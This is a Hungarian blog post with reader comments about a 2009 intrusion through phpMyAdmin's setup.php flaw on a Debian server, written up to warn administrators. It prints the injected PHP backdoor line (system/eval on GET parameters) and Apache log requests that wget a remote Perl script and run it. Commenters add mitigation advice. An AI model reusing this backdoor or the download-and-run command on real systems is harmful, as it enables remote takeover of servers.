phpMyAdmin adminisztrátorok: vigyázat!

Címkék

Lehet, hogy nem csak én járok pórul, hanem más is, illetve más talán mégsem fog, ha elolvassa az alábbiakat.

Egy kollégám felhívta a figyelmemet a mai munin grafikonokra. Kiderült, hogy ma éjjel az egyik webszerverünk elkezdett erősen tekerni, a load felment 1 fölé. Kiderült, hogy egy perl script fogja 100%-ban a processzort, ami a ps-ben

17358 ? R 942:51 /usr/sbin/apache/log

sorként, a top-ban

17358 www-data 25 0 17776 4052 1304 R 100 0.5 943:17.91 perl

sorként mutatott. Már önmagában gyanús, hogy /usr/sbin/apache/log néven fusson egy program, hiszen az /usr/sbin könyvtáron belül nincs további alkönyvtár. Korábbi tapasztalataim szerencsére gyorsan a megfelelő helyre irányítottak: az Apache naplóból kiderült, hogy a load a

193.226.51.57 - - [29/Jun/2009:02:08:59 +0200] "GET //phpmyadmin///config/config.inc.php?c=wget%20http://188.24.50.187/50.txt%20-O%20/tmp/50.txt;perl%20/tmp/50.txt%20%3E%3E/dev/null& HTTP/1.1" 200 11 "-" "Conf"

kérés elküldése óta lett magas. Később egy hasonló kód jött egy másik távoli gépről is, ez:

82.79.155.33 - - [29/Jun/2009:02:11:54 +0200] "GET //phpmyadmin//config.inc.php?c=wget%20http://188.24.50.187/50.txt%20-O%20/tmp/50.txt;perl%20/tmp/50.txt%20%3E%3E/dev/null& HTTP/1.1" 200 11 "-" "Conf"

Ebből két dolog látszik: maga az ártalmas PERL script lelőhelye, ami egy régi anyag (3 és fél évvel korábban is ez vagy egy ehhez nagyon hasonló script érkezett), illetve az, hogy a phpmyadmin config.inc.php-je képes tetszőleges kód futtatására.

Érdekes módon a config.inc.php valóban elfogadta a c paramétert, és fogtam a fejemet, hogyan lehet ilyen programot írni, ami ennyire könnyen rávehető bármilyen shell parancssor futtatására. Hamar kiderült, a config.inc.php-t módosították, alapból ilyesmit nem tartalmaz.

A módosított sor ez:

$cfg['Servers'][$i]['host']=''; if($_GET['c']){echo '

';system($_GET['c']);echo '

';}if($_GET['p']){echo '

';eval($_GET['p']);echo '

';};//'] = 'localhost';

Az eredeti pedig valahogy így nézhetett ki:

$cfg['Servers'][$i]['host']='';

Nagy szerencsémre a "phpmyadmin config.inc.php system eval" Google-keresés első találatán a szerző maga meséli el, hogy az első lépés valóban a config.inc.php módosítása egy saját maga által készített, távolról futtatható programmal. A config.inc.php-t módosítani tudó script csak 3 feltétel teljesülése esetén ártalmas. Ezek közül az egyik az, hogy létezzen a /var/www/phpmyadmin/config könyvtár --- ezt törölhetjük, a benne lévő linket a phpmyadmin webalkalmazás úgyis máshonnan fogja betölteni.

A CPU-t fogó 17358-as processz kilövése után (kill -9 17358) tehát töröltem (ill. átneveztem és minimális jogosultságúvá módosítottam) a config könyvtárat, és feltételezem, hogy ezzel megint védett a rendszerem.

A Debian rendszerem 4.0-s, a phpmyadmin-om 2.9.1.1-7-es, és ez a javítás nincs fent automatikusan az upgrade-ként feltehető anyagok között. A hibajavítás egyébként 3 hónapja fent van ezen a címen is, aki a hivatalos javítást szeretné feltenni, tegye meg. Az exploit június 4-én készült.

Hozzászólások

es meg hogy nem kell virusirto linuxra... :) (kinyitottam firefoxba a .txt-t avira egybol jelzett:)

Javaslom a mod_security hasznalatat a gotroot.com -rol elerheto szabalyokkal egyetemben, csipobol megfogja az ilyen jellegu tamadasokat.

Korrekt tájékoztatás, köszönjük:)
Arról lehet valamit tudni, hogy a config.inc.php-t ki módosította?

Ennyit lehet tudni:

91.121.90.56 - - [28/Jun/2009:19:19:10 +0200] "GET //phpMyAdmin//scripts/setup.php HTTP/1.1" 404 412 "-" "Plesk"
91.121.90.56 - - [28/Jun/2009:21:33:38 +0200] "GET //phpmyadmin//scripts/setup.php HTTP/1.1" 200 124 17 "-" "Plesk"
193.226.51.57 - - [29/Jun/2009:02:08:59 +0200] "GET //phpmyadmin///config/config.inc.php?c=hostname HTTP/1.1" 200 20 "-" "Conf"
193.226.51.57 - - [29/Jun/2009:02:08:59 +0200] "GET //phpmyadmin///config/config.inc.php?c=wget%20http://188.24.50.187/50.txt%20-O%20/tmp/50.txt;perl%20/tmp/50.txt%20%3E%3E/dev/null& HTTP/1.1" 200 11 "-" "Conf"
82.79.155.33 - - [29/Jun/2009:02:11:47 +0200] "GET //phpmyadmin//scripts/setup.php HTTP/1.1" 200 12414 "-" "curl/7.15.5 (i486-pc-linux-gnu) libcurl/7.15.5 OpenSSL/0.9.8c zlib/1.2.3 libidn/0.6.5"
82.79.155.33 - - [29/Jun/2009:02:11:48 +0200] "POST //phpmyadmin//scripts/setup.php HTTP/1.1" 200 19537 "-" "curl/7.15.5 (i486-pc-linux-gnu) libcurl/7.15.5 OpenSSL/0.9.8c zlib/1.2.3 libidn/0.6.5"
82.79.155.33 - - [29/Jun/2009:02:11:48 +0200] "GET //phpmyadmin//config.inc.php HTTP/1.1" 200 37024
"-" "curl/7.15.5 (i486-pc-linux-gnu) libcurl/7.15.5 OpenSSL/0.9.8c zlib/1.2.3 libidn/0.6.5"
82.79.155.33 - - [29/Jun/2009:02:11:50 +0200] "GET //phpmyadmin//config.inc.php HTTP/1.1" 200 37029
"-" "curl/7.15.5 (i486-pc-linux-gnu) libcurl/7.15.5 OpenSSL/0.9.8c zlib/1.2.3 libidn/0.6.5"
82.79.155.33 - - [29/Jun/2009:02:11:51 +0200] "POST //phpmyadmin//scripts/setup.php HTTP/1.1" 200 10
3278 "-" "curl/7.15.5 (i486-pc-linux-gnu) libcurl/7.15.5 OpenSSL/0.9.8c zlib/1.2.3 libidn/0.6.5"
82.79.155.33 - - [29/Jun/2009:02:11:54 +0200] "GET //phpmyadmin//config.inc.php?c=hostname HTTP/1.1" 200 20 "-" "Conf"
82.79.155.33 - - [29/Jun/2009:02:11:54 +0200] "GET //phpmyadmin//config.inc.php?c=wget%20http://188.24.50.187/50.txt%20-O%20/tmp/50.txt;perl%20/tmp/50.txt%20%3E%3E/dev/null& HTTP/1.1" 200 11 "-" "Conf"

# host 91.121.90.56
56.90.121.91.in-addr.arpa domain name pointer www.ilightyou.com.
# host 193.226.51.57
57.51.226.193.in-addr.arpa domain name pointer rms.unibuc.ro.
# host 89.79.155.33
33.155.79.89.in-addr.arpa domain name pointer chello089079155033.chello.pl.

Szerintem nem rossz dolog a phpmyadmin-t htpasswd-vel védeni.

-----
"Egy jó kapcsolatban a társunkat az ő dolgában kell támogatni, nem a miénkben."

Rögtön az jut eszembe, hogy bármilyen shell hívás miért engedett a PHP-nak? A 80-as port pedig kifelé offolható adott uid-nek is. Persze az url_include es url_fopen is erősen tiltásra ajánott.

Hahh, ilyenkor mindíg örülök, hogy nem suexec apache-ot használok.

Mi meglepően kevés panasszal találkozunk erre, inkább az allow_url_fopen-t szokták követelni. Ezt szerencsére lehet pervhost engedni, miután szent esküvel fogadta hogy secure a kódja. Persze volt aki fogadta és ugy include-oltak be spammer email formot neki mintállat. Amíg a szerver logot nem mutattam nem hitte el...

Hány éves ez a verziójú phpmyadmin? 3? 4?

--
Aries

Gyiii, phpmyadmin -t debian csomagbol telepiteni, ajaj.

szamos ok van arra, hogy miert akarhatod csomagbol.
- van 87.3 szervered. Nem fogsz emlekezni, hova van felrakva. Dokumentalni nyilvan kell, de azert jobb, ha a rendszeres frissitesek elintezik ezt az alkalmazast is es nem kell kezzel csinalnod ebbol tetszoleges 22-n
- amikor meg akarod keresni a gepeket amiken tulkeppen fenn is van, mert pl ezt a cikket olvastad, lehet paranccsal listat generalni (pdsh, dpkg/wajig/akarmi)
- meg ha csomagbol teszed fel sem kotelezo a default eleresi uton at atadni a webszervernek

Azt hiszem a helyzet tavolrol sem kategorikusan "ajajozhato"...

Nincs ultimate igazsag, viszont en inkabb preferalok egy frissebb softwaret (foleg, ha tudom, hogy volt mar security problema vele), mint egy par eveset. Ha 87.3 szervered van, amire mindre kell PMA, akkor gyartasz 1 csomagot vagy valamit. Alapbol en is szivesen hasznalom a debian csomagjait, mert egyszeru, szep es konnyu, viszont ha valami ilyen regi szutyok van benne, azt inkabb elkerulom. Bar lehet en latom rosszul.

Sajnos én is találkoztam vele.
Exploit elemzésre itt.

Köszi az infót!

Gyors teszt alapján ez nem érinti a phpmyadmin 3.x szériát. (a config.sample.php helyesen tartalmazza a kérdéses sort, az "éles" config.inc.php -ban meg nincs ilyesmi)

Igaz forrásból van telepítve és nem "default" könyvtárba (szóval nem /var/www/$), a fájljogokat pedig amennyire csak lehet, korlátoztam alapból. (korábbi [ön]szivatás miatt)

Biztos utánna tudnék járni, de ha már te benne vagy, légyszi ezt a gondolatmenetet fojasd:
"A config.inc.php-t módosítani tudó script csak 3 feltétel teljesülése esetén ártalmas. Ezek közül az egyik az, hogy létezzen a /var/www/phpmyadmin/config könyvtár --- ezt törölhetjük, a benne lévő linket a phpmyadmin webalkalmazás úgyis máshonnan fogja betölteni." Mi a másik 2? csak hogy egész legyen a cikk.
Köszi

# attack requirements:
# 1) vulnerable version (obviously!): 2.11.x before 2.11.9.5
# and 3.x before 3.1.3.1 according to PMASA-2009-3
# 2) it *seems* this vuln can only be exploited against environments
# where the administrator has chosen to install phpMyAdmin following
# the *wizard* method, rather than manual method: http://snipurl.com/jhjxx
# 3) administrator must have NOT deleted the '/config/' directory
# within the '/phpMyAdmin/' directory. this is because this directory is
# where '/scripts/setup.php' tries to create 'config.inc.php' which is where
# our evil PHP code is injected 8)

Forrás (mint korábban): http://www.gnucitizen.org/static/blog/2009/06/phpmyadminrcesh.txt

Tehát rövid válasz nem nagyon van, mindenesetre a "gyári Debian install" beleesik a problémás telepítési halmazba.

Ha mar webservert uzemeltetesz, akkor keszulj fel arra, hogy lehetnek kihasznalhato hibak a programokban.
Ebbol az kovetkezik, hogy kb. ismered mit szoktak tenni mas program futtatasahoz...
wget, curl, lynx, perl, stb -rol leveszed a futtatasi jogot. /tmp noexec. Ha van izmosabb vasad, akkor mod_security.
Ez a kisgyerekek jatekai ellen hatasos szokott lenni altalaban...

Valamit nem értek. Nekem is van Debian 4.0-as rendszerem, de azon a verzió 2.9.1.1-11 és nem 2.9.1.1-7.

A többiekhez képest meglehetősen késve, de patchelik.

"This script is in Debian under normal circumstances protected via Apache authentication. However, because of a recent worm based on this exploit, we are patching it regardless, to also protect installations that somehow still expose the setup.php script."